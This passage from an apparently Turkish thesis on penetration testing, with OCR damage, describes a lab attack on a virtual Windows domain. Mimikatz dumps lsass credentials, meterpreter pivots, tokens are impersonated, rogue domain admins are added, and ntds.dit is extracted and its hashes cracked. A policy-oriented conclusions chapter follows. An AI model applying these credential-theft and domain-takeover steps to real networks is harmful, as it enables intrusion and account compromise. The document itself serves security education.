modiilinde “token” ¢alma yontemiyle yetki yiikseltmesine girme islemi denenmis,
bunun i¢in var olan “token”’lar “list_token —u” komutuyla gosterilmis fakat etki
alaninda yetkili bir kullanict bulunamamustir, etki alaninda hareket edilemeyecegi i¢in
“RAM?” lizerinde kayitli bir parola bulmak adina “mimikatz” modiiliinde “kerberos”
komutunu kullanilir, burada etki alaninda oturum agabilen “IISuser” kullanicisinin
sifresini agik metin olarak ele gegirilmistir. Bilgisayarda “IISuser” kullanicisinin

masaiistiindeki dosyalar1 goriintiilemek igin “shell” komutuyla “cmd.exe” ekranina
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distiliir ve “dir” komutuyla var olan dosyalari goriintiilenir. Bir dokiiman iginde web
sunucuda oturum agabilen kullanicinin “IISuser kullanicis1 ve domain admin grubu
tyeleri” oldugu bilgisini goriintiilenmistir. Sekil 6.17°deki ekran goriintiisiinde

yukaridaki anlatilan senaryo gosterilmistir.

49192) at 2 -22 15:55:59 +0300

Success.

NT_AITHORTTY
EXAMPLE
EXAMPLE
EXAMPLE

NT AUTHOR! Y\NETWORK vEPVI(E
NT AUTHORITY\SYSTEM

i SHrém 6.1. 7600]
Telif Hakk® /(c) 2009 Microsoft Corporation. Tém haklar® saklédér.

-s\IISuser\Desktop

SUNUCUSUNA ITSUSER VE DOMAINADMIN KULLANICILARI DISINDA GIRIS YAPILMAYACAKTIR.
E o>

Sekil 6.17: Ele gegirilen bilgisayarda “Post Explatation”.

Bu senaryo sonrasinda yapilacak islem, web sunucusuna saldir1 diizenlemek
olacaktir. Kali Linux makinesi bu sunucuya topolojide gosterildigi lizere erisim
yapamadig igin ele gegirilmis olan 10.10.10.23 IP’li (istemci03) bilgisayar tizeride
kurulacak olan VmWare Workstation sanallagtirma programina sanal Kali Linux

isletim sistemi kurabilirdi, deney ortaminin sanallastirma tinitesinde oldugundan ¢ok
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saglikli bir kurulum olmayacag: disiincesiyle bu segenek atlanmistir. Diger bir
secenek olarak istemciO3 bilgisayarindan “RDP (Remote Desktop Protocol)”
baglantis1 kurulabilir veya meterpreter “autoroute” modiiliiyle pivoting yapilabilir.
Pivoting islemi i¢in istemciO3 ele gecirilir sonrasinda 1SS sunucusuna “IISuser” ile
erisim yapmaya ¢aligilir.

Istemci03 bilgisayarida meterpreter oturumu elde edilememis, “shell” oturumu
elde edilmis olsaydi, shell katmanina erisilmis bilgisayardan “dump” (d6kiim dosyasi)
alinir ve “mimikatz” ile dokiim dosyasi agilarak, kullanicilarin parolalarini a¢ik metin
olarak elde edebilirdi. Microsoft un resmi yazilimi olan procdump [95] ile dump almak
ve “mimikatz” aract yardimiyla alinan dump’in agilmasini saglayarak RAM’deki
kullanip sifreleri elde edilebilir. Bu 6rnek adimi IstemciO3 bilgisayarinda Sekil 6.18
ve Sekil 6.19°da gosterilmistir.

[% Windows Gérev Yoneticisi 8 Dokiim islemi X

Dosya Segenekler Goériinim Yardim

Dosya basaryla olusturuldu.

Uygulamalar | Islemler | Hizmetler I Performans l Ag Iletisimi [ Kullamalar‘
‘ Dosyanin konumu:

2 N
Yansima Adi Kullanici ... CPU Bellek (Oz... Agiklama C:\Users\lISuser\AppData\LocaliTemplisass. DMP
audiodg.exe Local Ser... 00 9.836 K Windows S... b \

cmd.exe SYSTEM 00 680 K Windows K...

conhost.exe SYSTEM 00 668 K Konsol Pen...

csrss.exe SYSTEM 00 1.172K Istemd Su...
csrss.exe SYSTEM 00 1.176 K istemdi Su.
dwm.exe IISuser 00 84.644 K Masalistii P...
explorer.exe IISuser 00 33.412K

/
v —

————

1

5 p—
e AT e ??6'( \Users\IISuser\AppDeta\Local\Temp

P

Isass.exe b K A
osya Konumunu Ag Veel Ohiru... —— @ " oo ——
e Audio T... tizenle c unurfla paylas eni klasor
msdtc.exe Islem Agacini Sonlandir Microsoft D... ‘
SearchIndexi W Microsoft ... 7 Sik Kullanilanlar
services.exe eta Aywda Hizmetler v... Karsidan Yiikl | EXSAPIDebugLogFil
Sistem Bosta UAC Sanallastirmasi slemcinin -.: 4 Kargidan Yiklemel = | ebuglogFile
smss.exe l D&kim Dosyasi Olustur Windows 0... M Masalisti JavaDeployReg
spoolsv.exe Oncelik Ata Q| Dirikiirtd AL, =i Son Yerler €| jawshtml
SDDSVC.exe — Microsoft Y... )
——— Ozellikler G - hed
V| Tiim kulla ; . | Is
Hizmetlere Git p— I,';A Kitaphklar |sass.DMP
islemler: 40 CPU Kullanimi: %0 Fiziksel Bellek: %41 *, Belgeler ¥ wmsetup

Sekil 6.18: Gorev yoneticisi icinden “Isass.exe” islemiyle “dump” alma.

Sekil 6.18’de gorev yoneticisi agilarak islemler tabindan “lsass.exe” islemine
gidilerek sag tik ile agilan meniiye “Dokiim Dosyasi Olustur” segenegi tiklanir.
Olusturulan dokiim dosyasinin yeri kullaniciya bilgisayar tarafindan gosterilir. Dokiim
dosyas1 elde edildikten sonra ‘“mimikatz.exe” komut satirinda ¢alistirilarak,

“sekurlsa::-minidump <dumpdosyasi>> komutuyla programa gosterilir, sonrasinda
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“sekurlsa::kerberos” komutuyla dokiim dosyasi agilir RAM {izerindeki sifreler agik
metin olarak goriintiilenir.

mimikatz # sekurlsa::minidump lsass.DMP

Switch to MINIDUME

4

|5as5.DMPS mimikatz # sekurlsa::kerberos

Authentication Id : 0 ; 411205 (00000000 :00064645)

Session : Interactive from 1
. User Name : IISuser
{:} i : EXAMPLE
B L S =:1538294601-1113
kerberos :
imikd * Username [ IISuser

% Domain 2 EXAMPLE.COM
% Password o KirilmasiZorSifre2018. .ttt

Sekil 6.19: “Mimikatz” araciyla dokiim dosyast agma islemi.

E B mimikatz 2.0 alpha x64 ﬂ

C:\Users\IISuser\Desktop>procdump64.exe -ma -accepteula lsass.exe istemci®3.dmp
procdump64

ProcDump v9.8 - Sysinternals process dump utility
Copyright (C) 2003-2817 Mark Russinovich-and™Andrew Richards
Sysinternals - wwW.sysinternalsTcom

[20:14:21] Dump 1 writing: Estimated dump file size is 35 MB.
[20:14:21] Dump 1 complete: 35 MB written in 1.1 seconds
[28:14:21] Dump count reached.

. '[29.14:20] Dump 1 initiated: C:\Users\IISuser\Desktop\istemci®3.dmp

istemci03:d...
el

28 C:\Users\IISuser\Desktop>mimikatz.exe
CHEHHG . mimikatz 2.0 alpha (xB4) release "Kiwi en C" (Dec 9 2013 23:15:17)
JHE T HE.
ISGSSIDVEBEN uy , \ g /x = x
## N7 ##  Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )
“HE v BE http://blog.gentilkiwi.com/mimikatz (oe.eo0)
THHHERE Wwith 12 modules = x s/

J ‘Wimimikatz # sekurlsa::minidump istemci®3.dmp

el llswiteh to HINTDUMP

mimikatz # sekurlsa::kerberos

Authentication Id : @ ; 411205, (0O0AEO000:E0O064EHS)
Session : Interactive\ from 1

(WET-T N EY T : ITSuser

Domain

SID [ S E1538294601-1113
kerberos :
* Username || IISuser
» Domain | EXAMPLE .COM
» Password | || KirilmasiZorSifre2018. 111"

Sekil 6.20: “Procdump64” ve “Mimikatz” araglariyla dokiim dosyasi olusturma ve dokiim dosyani
agma iglemi.

Sekil 6.20’de gosterilen yukarida bahsedilenin diginda “Isass.exe” isleminin

disinda “procdump” araciyla dokiim dosyasi olusturmadir. Olusturulan dékiim dosyasi
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yukarida anlatilan sekilde “mimikatz” programiyla ayn1 islemler uygulanarak agilmasi
saglanacaktir.

IstemciO3 bilgisayarinin ele gegirilmesinden sonra yapilan “post-explatation”
islemleriyle elde edilen “IISuser” kulllanic1 ad1 ve sifresi, web sunucuna saldir1 yapma
imkani1 dogurmustur. Saldir1 islemini istemciO3 bilgisayar1 iizerinden “pivoting” ile
yapma denenecektir. Bunun i¢in dncelikle istemci03 bilgisayarinda basarili bir sekilde
sOmiiriisiinii yapilan ms17 010 agikligi tekrar kullanilmistir. Somiirii gergeklestikten
sonra agilan meterpreter oturumuna IISsunucuya dogrudan erisilemediginden “run
post/multi/manage/autoroute” komutunu yazilmistir. Komutu yazdiktan sonra
sOmiirtisii  yapilan istemciO3 bilgisayarinin ag kartlarindaki yonlendirmeler
tamamlanmistir. 172.16.1.0/24 ip’li erisimleri meterpreter’in ilgili oturum katmanin
kullanarak istemciO3 tizerinden yapmak ig¢in meterpreter oturumunu kapatmadan
“background” komutuyla arka plana alinir. Sonrasinda elde edilen kullanici ad1 ve sifre
bilgisi kullanilmak tizere gegis yapilmis olan “psexec” modiiliine girilir, ardindan

somiirti Sekil 6.21°deki gibi baslatilir.

ION may not be compati ith this module.
nning module against I

Searchina_fo
Route added
Route added
Route added

= set smbdomain example

rhost 172.16.1.16

cuting the pa
e start timed out, OK if running a command or non-service executable...

Sekil 6.21: “Meterpreter” katmanina erisim yapilan bilgisayarda “Pivoting”.

Psexec modiilii basarili bir sekilde oturum agtiktan sonra Web Sunucusunda bilgi
toplamak i¢in “incognito” modiilii yiiklenir. Somiiriisiinii yapilan bilgisayarda etki
alani tarafinda daha 6nce erisim yapmis yetkili bir kullanic1 var m1 diye “list_token —
u” komutuyla bakilir. Sekil 6.22°de gosterildigi gibi “yetkili” adl1 “domain admins”
grubu kullanicinin “token’’1, somiiriisii yapilmig olan bilgisayarda kullanilabilir halde

bulunmustur. Bu erisim biletini (token) alabilmek igin “impersonate_token
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example\\yetkili” komutunu ¢alistirilir. Islem sonrasinda basarili sonug donerse etki
alani icerisinde “yetkili” kullanicinin haklarina sahip olunmus demektir. Kullanicinin
kim oldugunu anlamak, biletin ele gecirilip gecirilmedigini anlamak i¢in meterpreter
katmanindan “shell” komutuyla Windows sistemine diiserek etki alani sorgu
komutlarina gecis yapilir. “whoami” sorgusuyla “yetkili” kullanici olarak erisim
yapildigi gozlemlenmistir. Testin ilk baginda verilmis olan “yetkisiz” kullanici “net
group Domain Admins /add /domain” komutuyla etki alani1 yonetici grubuna iiye
yapilmistir. Kaliciligir saglamak adina “net user whitehack Complete2018 /add
/domain” komutuyla “whitehack” kullanici olusturulup sifresi “Complete2018” olarak

verilmistir. Yine bu kullanici da etki alan1 yonetici grubuna {iye yapilmistir.

he command complete

Sekil 6.22: Etki Alan1 yonetici bileti ile yetki yiikseltme.

Son agsama olarak etki alan1 kontrolciisii (DC)’ye eriserek, bilgi toplama ve etki

alan1 veri tabanin1 (NTDS) ele ge¢irme ¢alismalar1 yapilacaktir.
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Yapilan iglemler sonrasinda artik “yetkisiz” kullanicisi etki alan1 sunucusunda
oturum a¢gma hakkini elde etmistir. Uzaktan masaiistii baglantisi kurarak oturum agma
isleminin ardindan bilgi toplama ve etki alan1 veri tabanimna saldir1 islemlerinin nasil

yapildig1 gosterilecektir.

." Remote Desktop Connection - X

Remote De§ktop
¢ Connection

Computer: |DC ~

User name: None specified

You will be asked for credentials when you connect.

> Show Options Help

Sekil 6.23: 10.10.10.15 TP’1i Etki alan1 sunucusuna “Uzak Baglant1”.

e Windows PowerShell

n. All rights reserved.

S CihUsers\yetkisiz> i

Wi = IF Configuration

Ethernet adapter Ethernetl:

Sekil 6.24: “yetkisiz” kullanicinin etki alan1 sunucusundaki sorgulari.

Sekil 6.23 uzak masaiistii baglantis1 kurulan etki alani1 sunucusunda oncelikle
dosya sistemleri gezilerek bilgi toplama islemleri yapilir. Sonrasinda “ntds.dit” ve

“system” dosyalar1 alinarak temsili kurumdaki tiim kullanicilarin parola 6zetleri ele
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gecirilir ve parolast kolay olan kullanicilarin 6zet degerleri kirilarak diger sistemler

tizerinde giris yapmaya ¢aligilir.

= "{D7ED2F71-1733-4404

Type:

Attributes: P nt ent-a e, No a s o wri ifferential

Sekil 6.25: “Powershell” ile “WMIC” komutuyla “Golge Kopya” olusturma.

Komut satirindan golge kopya almak icin Oncelikle komut satirinin
(powershell.exe veya cmd.exe) yonetici haklariyla ¢alistirilmasi gerekmektedir. Sekil
6.25’te “ wmic shadowcopy call create Volume="c:\"* komutu ile bilgisayarin isletim
sistemi ve sistem dosyalarinin var oldugu “c” siriiciisiiniin golge kopyasi
olusturulmustur. Golge kopya olusturmaktaki amag, Windows sistemi galisirken
“system32” dosyasi igerisinde kopyalama, silme ve degistirme iznin olmamasidir. Bu

dosyalar tizerindeki islemler golge kopya tizerinden yapilmaktadir.

= Administrator: Command Prompt

nd-Tine tool

SALROOT

Sekil 6.26: “CMD.EXE” ile “Golge Kopyas1” alinmig sistemden “NTDS” ve “SYSTEM” dosyalarini
masaiistiine alma.
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Sekil 6.26’da komut satirinda golge kopyanin listesini “vssadmin.exe List
Shadows” komutuyla gérdiikten sonra kopyalamak istenilen sistem dosyasinin yerini
ve kendisini yazip dosyalar kopyalanir. Kopyalanan ntds.dit ve system dosyalarini
Kali Linux’de python betikleriyle isleyerek etki alan1 veritabanindaki nesneleri alinir.

Kali Linux bilgisayarinda ntds.dit veri tabanini agmak i¢in github.com dan

libesedb modiiliinii kurarak kurulumunu yapilir.

Sekil 6.27: “Libesedb” dosyasinin indirilmesi.

Indirme isleminde sonra kurulum islemi yapilarak “ntds.dit” igerisindeki
tablolar1 ¢ikartmak igin “cd esedbtools” komutuyla esedbtools klasoriine girilir ve

“.Jesedbexport —t” komutuyla ntds.dit veritabani tablolara ayrilir.

~/1ibesedb:
~/libesedb/esedbtools

~/1ibesedb/esedbtools/ntdsxtract

Sekil 6.28: "Ntds.dit” dosyasinin agilmasiyla ¢ikan tablolardan parola 6zeti alma.

Sonrasinda “git clone https://github.com/csababarta/ntdsxtract.git” komutuyla

ntdsxtract dosyast indirilir. “cd ntdsxtract” komutuyla dosyasinin icerisindeki
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“dsusers.py” betigiyle agilir, ntds.dit dosyasinin i¢indeki tablolardan “link table” ve
“datatable” dosyalarin1 “SYSTEM” dosyas1 kullanarak agilir. Agilan dosyalarin “Im”
ve “ntlm” formatinda “john” sifre kirma programina uygun bir sekilde agmak i¢in
Sekil 6.28°de belirtilen komutlar terminale yazilir.

“python  dsusers.py  /root/Desktop/ntds.export/datatable  /root/Desktop/
ntds.export/link_table /root/Desktop/temp --passwordhashes --syshive
/root/Desktop/SYSTEM --pwdformat john --Imoutfile /root/Desktop/Im --ntoutfile
/root/Desktop/nt”

Yourgpassphrase guess:

KirilmasiZorSifre2018.1!

Sekil 6.29: “Johnny” ile sifre kirma saldirisinda daha 6nce elde edilmis sifre denemesi.

Daha 6nceden elde edilen bir etki alani sifresi denenerek parola 6zet bilgisiyle

dogrulandigini bir Sekil 6.30’da gosterilmistir.

eoo

File Attack Passwords Help

o, o R R R ® R,

Open password file  Open session tartnew attack | Resume attack  Pause attack| Guess password [ Copy Export
Fitter | | [ setect columns v | I (] Show only checked (] Show only cracked
User v Password Hash Formats GECOS
1@ ' Administrator Aal23456 $NT$47bf8039a850... NT.NT-old 5-1-5-21-2744540544-560310484-1538294601-500::
2 & krbtgt $NT4bdedfd18cbed.. NTNT-old 5-1-5-21-2744540544-560310484-1538294601-502::
3 @ yetkisiz Aal23456 $NT$47bf8039a850... NT,NT-old 5-1-5-21-2744540544-560310484-1538294601-1109::
| i i $NT$5f8086b47eel... NT.NT-old 5-1-5-21-2744540544-560310484-1538294601-1110::
Statistics 5 ©& yetkili $NT$fbed9edbafb5... INTNT-old S-1-5-21-2744540544-560310484-1538294601-1111::
6 & Domainuser Aal23456 $NT547bf8039a850... NT,NT-old 5-1-5-21-2744540544-560310484-1538294601-1112::
s & lISuser KirilmasiZorSifre2018.11!| $NT$4bab8f7a485¢... NT,NT-old S-1-5-21-2744540544-560310484-1538294601-1113::
Settings (8 @ WhiteHacker $NT$15804cd0aZe.. NTNT-old S-1-5-21-2744540544-560310484-1538294601-1115::
@ 9 @ whitehack $NT5d24673bb328... INT,NT-old 5-1-5-21-2744540544-560310484-1538294601-1116::
Console log

: 4 cracked, 5 left) ’nrmat=NT]

Sekil 6.30: “Johnny” sifre kirma aracinin fonksiyonlarini gdsteren arayiiz.
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Johnny ¢evrim dis1 sifre kirma aracinin birgok fonksiyonu bulunmaktadir. Bu
kaynakta “john the ripper” basliginda bahsedilmistir.

Goriildiigii iizere kirilmas1 ¢ok kolay sifreler direk olarak ara¢ tarafindan
kirilmistir. Tiim bu islemler sonrasinda sizma testi adimlarinin siireci tekrar bilgi
toplama ve kesif olaylariyla diger sunucu ve bilgisayarlar iizerinde devam etmektedir.

Deney ortamini basarili bir sekilde ele gegirerek sizma testi adimlarini bitirmis

olunur.
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YEDINCi BOLUM

SONUCLAR VE ONERILER

Bu arastirmanin temel amaci, giincel siber saldirilarin nasil gergeklestigini teorik
ve uygulamali bir bicimde anlatmak, kurum ve kuruluslarda calisanlarin giincel
saldirilara ve saldir1 araglarina karsi bilinglenmesine katkida bulunmak ve yine siber
saldir1 6ncesinde alinabilecek bazi 6nlemlerden bahsetmektir.

Gilinimiiz diinyasinda neredeyse her sey bilgisayar sistemleri tarafindan
yonetilmekte, bilginin bilgisayar sistemleri tizerinde depolanmasi ve farkli ortamlara
iletilmesi igin bilgisayar sistemleri kullanilmaktadir. Bilginin varligin1 koruma,
saklama ve bilgiye erisilebilirligi siirdiirme giin gegtik¢e ¢ok daha zor hale gelmistir.
Bilginin depolanirken gizliliginin, biitiinligiiniin ve erisilebilirliginin saglanmasi bilgi
glivenligi anlaminda ¢ok biiyiik 6nem arz etmektedir. Bilgiyi yetkisiz olarak elde
etmeye ¢aligmak, bilginin biitiinliigiinii bozmak veya bilginin erisilebilirligini ortadan
kaldirmaya calismak siyah sapkali1 bilisim korsanlarinin yapmaya calistigi islemlerdir.
Diinyada ve iilkemizde bilginin ne kadar degerli oldugu ve saldirganlar tarafindan ele
gecirilen bilgilerin kisilerde, kurum ve kuruluslarda ne gibi tahribatlara yol
acabilecegi, bilgiyi kullanan kisiler tarafindan pek Onemsenmemektedir. Bunlarin
Oniine gegmek adina kurum ve kuruluslarda siber farkindalik egitimlerinin verilmesi,
veriliyorsa da sayisinin artirtlmasi gerekmektedir. Bu farkindalik egitimlerinin kurum
ve kuruluslarda en yetkisiz personelden en yetkili personele kadar diizenli olarak
verilmesi gerekmektedir. Milli siber giivenlik bilincinin olugmasi i¢in kamu spotlari
hazirlanmali, lilkenin basin ve yaym organlarinin da bu konuda gorevler almasi
saglanmalidir.

Bilgisayar sistemleri tarafindan erigilen internet artik giinlik hayatimizin
olmazsa olmazlarindan biridir. Saldirganlar kurbanlarina ¢ogunlukla internet
ortamindan ulagmaktadir. Bu da demek oluyor ki saldirilarin ¢ogunlukla geldigi nokta

internettir. Ayrica, saldirganlar i¢in somiiriilmeye en miisait taraf insani zayifliklardir.
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Oyleyse Internet saldirganlarindan korunmak i¢in gerek kurum kuruluslarin galisan
profillerinin gerek internet kullanicilarinin farkindalik seviyesini milli biling ile
yiiksekte tutmamiz gerekmektedir.

Kurum ve kurulus baglaminda bilgisayar sistemlerine diizenli bir sekilde yilda
en az 4 defa periyodik olarak giivenlik taramas1 ve yine yilda en az 2 defa sizma testleri
yapilmasi isabetli olacaktir. Bu testlerin sonuglarinin takip edilerek sikilastirilmasi ve
tekrar giivenlik denetimlerinin yapilmasi gerekmektedir.

Kurumlarda sanallastirma ortamlarinin kurulmasi -6rnegin VDI olarak bilinen
Virtual Desktop Infrastracture- ve kullanicilarin bu tinitede olusturulmus bir ortamda
hareket etmesi i¢ saldirganlari ¢ogu saldir1 vektoriinde etkisiz hale getirecektir.

Milli Egitim baglaminda {ilke bazinda siber giivenlik Ve s1izma testi uzmanligina
orta 0gretimden baglayarak yonlendirmelerin yapilmasi, diger disiplinlere yonelen
ogrencilerde de bu farkindaligm olusturulmasi gerekmektedir. Universite diizeyinde
ise Ozellikle hukuk fakiiltelerinde zorunlu ders olarak bilisim dersleri verilmelidir.
Ciinki bilisim hukukunda oldukc¢a fazla bosluk ve eksik bulunmaktadir. Her gecgen
giin biiyiik bir hizla degisen ve gelisen siber diinyada saldirilarin 6niine gegmek adina
uluslararasi bilisim hukuk kurallar1 detaylandirilarak tanimlanmali ve tilkemizde de bu
kurallar ¢ergevesinde bir bilisim hukuku oturtulmalidir.

Siber giivenlik ve bilisim teknolojilerinde ulusal anlamda olusturulacak
standardizasyon eylem planlari biiyiik bir hizla gelisen siber diinya g6z oniine alinarak
birkag yillik degil, her yil yapilmalidir.

Ulkemizde siber giivenlikle ilgili karar alacak ve bu kararlara uyulmasi yoniinde
yaptirim uygulayabilecek yetkinlikte bir kurum olusturulmasi veya siber alanda
mevcut kurumlardan birinin bu isle gorevlendirilmesi milli stratejik siber gilivenlik
anlaminda ¢ok baglilig1 ortadan kaldirmada etkili olacaktir.

Kamu Kkurumlarinin bilgi giivenligi politikalarinin  yoneticilere esneklik
gostermemesi gerekmektedir. Ust yapinm siber giivenlik uzmanlarmin goriis ve
Onerilerini dinlemek admna siber giivenlik ile ilgili calisma yapan birimlerin
organizasyon semasina gore yetkin bir yerde olmas1 gerekmektedir.

Milli isletim sisteminin yayginlasmast gerekmektedir. Disa bagiml
teknolojilerden uzak durmak gerekmektedir. Milli yazilimlarin, milli glivenlik
duvarlarmin, milli aktif cihazlarin, milli sistemlerin bilgisayar sistemlerinde

kullanilmasinin yayginlastirilmasi ve tesvik edilmesi gerekmektedir. Siber giivenligin
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her katmaninda millilestirme saglanamadigi takdirde tam anlamiyla milli siber
giivenlikten bahsedilemeyecektir. Yabancilarin yapmis oldugu yazilimlar, donanimlar
ve sistemler kullanildig: siirece, sistemlerde olusan istatistiksel durumlar ve énemli
baz1 veriler yabancilar tarafindan bilinecek ve kontrol edilecektir.

Teknolojiyi kullanmaktan ¢ok teknolojiyi gelistiren arastirma gelistirme
caligmalar1 yapilmalidir.

Deneyler ve Sonuglar kisminda anlatilmis olan senaryo diinya tarafindan siklikla
kullanilan isletim sistemlerinden ve sunuculardan yararlanilarak olusturulmustur.
Deneysel ortam sanallastirma tinitesinde kurulmus oldugundan fiziksel ortamdan
tasarruf saglanmistir. Kurum ve kuruluglarda da gerek giivenlik agisindan gerek
fiziksel tasarruf adina sanal ortamlarin kullanilmasi tavsiye edilmektedir. Diinyaca
kullanilan isletim sistemleri herkesin erisebilecegi sekilde dagitildigindan, bu
sistemler iizerinde ¢ok kisi tarafindan deneysel islemler yapilmaktadir. Yani Windows
isletim sistemini bir saldirgan kendi ortaminda kurup agiklik kesfi yapabilmektedir.
Tespit ettigi agikliga uygun bir aciklik istismar kodu da yazip basarili bir sémiirme
yaparsa bunu diinyadaki ayni isletim sistemine sahip tiim bilgisayarlarda uygulayabilir
anlamina gelmektedir. Tez kapsaminda diinyaca bilinen bir isletim sistemi ve sunucu
acikligr olan msl17 010 agikligi ve bazi yapilandirma hatasindan kaynakli olan
zafiyetlerden yola ¢ikilmis ve en sonunda etki alan1 ele gecirilmistir.

Bu diizlemde Onerilebilecek husus ise giiniimiiz diinyasinda kullanilan igletim
sistemlerinin ve sunucularin yayginliklarinin az olmasinin bilinen saldir1 tiirlerine

kars1 direng saglayacagi yoniindedir.
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